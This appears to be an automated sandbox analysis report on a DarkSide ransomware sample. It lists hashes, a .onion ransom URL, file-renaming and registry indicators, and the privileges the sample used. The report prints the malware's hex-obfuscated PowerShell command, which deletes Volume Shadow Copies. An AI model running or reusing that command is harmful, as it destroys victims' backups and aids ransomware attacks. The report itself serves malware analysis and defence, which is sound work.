Analysis
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max time kernel
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max time network
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platform
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resource
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submitted
04-08-2021 17:53
Static task
static1
Behavioral task
behavioral1
Sample
DarkSide_01_05_2021_30KB.bin.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
DarkSide_01_05_2021_30KB.bin.exe
Resource
win10v20210410
General
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Target
DarkSide_01_05_2021_30KB.bin.exe
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Size
30KB
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MD5
f00aded4c16c0e8c3b5adfc23d19c609
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SHA1
86ca4973a98072c32db97c9433c16d405e4154ac
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SHA256
4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
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SHA512
a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
Malware Config
Extracted
C:\\README.341d6443.TXT
darkside
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 9 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
DarkSide_01_05_2021_30KB.bin.exedescription ioc process File renamed C:\Users\Admin\Pictures\CompressEnter.crw => C:\Users\Admin\Pictures\CompressEnter.crw.341d6443 DarkSide_01_05_2021_30KB.bin.exe File renamed C:\Users\Admin\Pictures\MoveInstall.png => C:\Users\Admin\Pictures\MoveInstall.png.341d6443 DarkSide_01_05_2021_30KB.bin.exe File renamed C:\Users\Admin\Pictures\MoveRequest.tif => C:\Users\Admin\Pictures\MoveRequest.tif.341d6443 DarkSide_01_05_2021_30KB.bin.exe File opened for modification C:\Users\Admin\Pictures\UseUpdate.tiff DarkSide_01_05_2021_30KB.bin.exe File opened for modification C:\Users\Admin\Pictures\UseUpdate.tiff.341d6443 DarkSide_01_05_2021_30KB.bin.exe File opened for modification C:\Users\Admin\Pictures\CompressEnter.crw.341d6443 DarkSide_01_05_2021_30KB.bin.exe File opened for modification C:\Users\Admin\Pictures\MoveInstall.png.341d6443 DarkSide_01_05_2021_30KB.bin.exe File opened for modification C:\Users\Admin\Pictures\MoveRequest.tif.341d6443 DarkSide_01_05_2021_30KB.bin.exe File renamed C:\Users\Admin\Pictures\UseUpdate.tiff => C:\Users\Admin\Pictures\UseUpdate.tiff.341d6443 DarkSide_01_05_2021_30KB.bin.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
DarkSide_01_05_2021_30KB.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP" DarkSide_01_05_2021_30KB.bin.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP" DarkSide_01_05_2021_30KB.bin.exe -
Modifies Control Panel 1 IoCs
Processes:
DarkSide_01_05_2021_30KB.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10" DarkSide_01_05_2021_30KB.bin.exe -
Modifies registry class 5 IoCs
Processes:
DarkSide_01_05_2021_30KB.bin.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico" DarkSide_01_05_2021_30KB.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443 DarkSide_01_05_2021_30KB.bin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443" DarkSide_01_05_2021_30KB.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon DarkSide_01_05_2021_30KB.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443 DarkSide_01_05_2021_30KB.bin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeDarkSide_01_05_2021_30KB.bin.exepid process 920 powershell.exe 920 powershell.exe 1672 DarkSide_01_05_2021_30KB.bin.exe 1672 DarkSide_01_05_2021_30KB.bin.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
DarkSide_01_05_2021_30KB.bin.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeSecurityPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeTakeOwnershipPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeLoadDriverPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeSystemProfilePrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeSystemtimePrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeProfSingleProcessPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeIncBasePriorityPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeCreatePagefilePrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeBackupPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeRestorePrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeShutdownPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeDebugPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeSystemEnvironmentPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeRemoteShutdownPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeUndockPrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeManageVolumePrivilege 1672 DarkSide_01_05_2021_30KB.bin.exe Token: 33 1672 DarkSide_01_05_2021_30KB.bin.exe Token: 34 1672 DarkSide_01_05_2021_30KB.bin.exe Token: 35 1672 DarkSide_01_05_2021_30KB.bin.exe Token: SeDebugPrivilege 920 powershell.exe Token: SeBackupPrivilege 1380 vssvc.exe Token: SeRestorePrivilege 1380 vssvc.exe Token: SeAuditPrivilege 1380 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
DarkSide_01_05_2021_30KB.bin.exedescription pid process target process PID 1672 wrote to memory of 920 1672 DarkSide_01_05_2021_30KB.bin.exe powershell.exe PID 1672 wrote to memory of 920 1672 DarkSide_01_05_2021_30KB.bin.exe powershell.exe PID 1672 wrote to memory of 920 1672 DarkSide_01_05_2021_30KB.bin.exe powershell.exe PID 1672 wrote to memory of 920 1672 DarkSide_01_05_2021_30KB.bin.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\DarkSide_01_05_2021_30KB.bin.exe"C:\Users\Admin\AppData\Local\Temp\DarkSide_01_05_2021_30KB.bin.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
48173a69ecf563f9f45ec1d0b0118d4c
SHA135798fa65921edbda76453bfd36cb1bde284e265
SHA25640b798d4b40ae86c0020020dd323f5bb1985fa0ae31696a1a542557163e2bf66
SHA512a92d4eaeae6dde844a32d4cb728e9cf5e92d9031d81bc57b2e53ff36fd31f8cc039ad747b81361be07e09a4747506875e7cee32d8f9069cf740babef92513a6c
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
79479fcdb8b9c7247e4bac2e3b157c22
SHA1bb080d42a8f0f02391a747672448c580228c209c
SHA256cb8b170173590af90821110deb22cba03fdd1b8f2d68bbd6eb627093b59e5ca3
SHA512d9d340d9819a7961d3fab47d5df3089e1bd5473775caee2f28c22fdbac0450543357674aa7ed7f2e8650b371a2d3ed79e702e46c8099cc42cffe4e9f457b4df5
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memory/920-67-0x0000000002474000-0x0000000002476000-memory.dmpFilesize
8KB
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memory/920-64-0x000000001AA70000-0x000000001AA71000-memory.dmpFilesize
4KB
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memory/920-63-0x0000000002700000-0x0000000002701000-memory.dmpFilesize
4KB
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memory/920-65-0x0000000001E90000-0x0000000001E91000-memory.dmpFilesize
4KB
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memory/920-66-0x0000000002470000-0x0000000002472000-memory.dmpFilesize
8KB
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memory/920-68-0x0000000001DC0000-0x0000000001DC1000-memory.dmpFilesize
4KB
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memory/920-69-0x000000001C500000-0x000000001C501000-memory.dmpFilesize
4KB
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memory/920-70-0x000000001C1F0000-0x000000001C1F1000-memory.dmpFilesize
4KB
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memory/920-62-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmpFilesize
8KB
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memory/920-61-0x0000000000000000-mapping.dmp
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memory/1672-60-0x0000000075971000-0x0000000075973000-memory.dmpFilesize
8KB